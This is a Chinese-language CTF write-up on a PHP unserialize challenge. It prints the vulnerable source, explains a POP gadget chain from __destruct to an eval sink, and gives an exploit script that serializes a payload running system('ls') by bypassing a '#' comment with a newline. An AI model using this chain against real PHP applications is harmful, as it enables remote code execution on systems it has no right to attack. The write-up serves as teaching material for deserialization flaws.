题目如下:

<?php

class crow
{
    public $v1;
    public $v2;

    function eval() {
        echo new $this->v1($this->v2);
    }

    public function __invoke()
    {
        $this->v1->world();
    }
}

class fin
{
    public $f1;

    public function __destruct()
    {
        echo $this->f1 . '114514';
    }

    public function run()
    {
        ($this->f1)();
    }

    public function __call($a, $b)
    {
        echo $this->f1->get_flag();
    }

}

class what
{
    public $a;

    public function __toString()
    {
        $this->a->run();
        return 'hello';
    }
}
class mix
{
    public $m1;

    public function run()
    {
        ($this->m1)();
    }

    public function get_flag()
    {
        eval('#' . $this->m1);
    }

}

if (isset($_POST['cmd'])) {
    unserialize($_POST['cmd']);
} else {
    highlight_file(__FILE__);
}

要创建很多个类,这里用类名描述,后面跟字母好区分。

首先,$fin1的__destruct()会自动执行:

    public function __destruct()
    {
        echo $this->f1 . '114514';
    }

这里是输出f1,所以让f1等于$what,触发:

    public function __toString()
    {
        $this->a->run();
        return 'hello';
    }

有两个run函数,我选择触发mix::run,让a等于$mix1,触发:

    public function run()
    {
        ($this->m1)();
    }

让m1等于$crow1,触发:

    public function __invoke()
    {
        $this->v1->world();
    }

让$crow1中的v1等于$fin2,触发:

    public function __call($a, $b)
    {
        echo $this->f1->get_flag();
    }

让$fin2中的f1等于$mix2,触发:

    public function get_flag()
    {
        eval('#' . $this->m1);
    }

让$mix2中的m1等于”\n system(‘ls’);”即可绕过井号,exp如下:

<?php

class crow
{
    public $v1;
    public $v2;

    function eval() {
        echo new $this->v1($this->v2);
    }

    public function __invoke()
    {
        $this->v1->world();
    }
}

class fin
{
    public $f1;

    public function __destruct()
    {
        echo $this->f1 . '114514';
    }

    public function run()
    {
        ($this->f1)();
    }

    public function __call($a, $b)
    {
        echo $this->f1->get_flag();
    }

}

class what
{
    public $a;

    public function __toString()
    {
        $this->a->run();
        return 'hello';
    }
}
class mix
{
    public $m1;

    public function run()
    {
        ($this->m1)();
    }

    public function get_flag()
    {
        eval('#' . $this->m1);
    }

}

$fin1 = new fin();
$fin2 = new fin();
$what1 = new what();
$mix1 = new mix();
$mix2 = new mix();
$crow1 = new crow();

$crow1 -> v1 = $fin2;
$fin2 -> f1 = $mix2;
$mix2 -> m1 = "\n system('ls');";

$fin1 -> f1 = $what1;
$what1 -> a = $mix1;
$mix1 -> m1 = $crow1;

echo urlencode(serialize($fin1));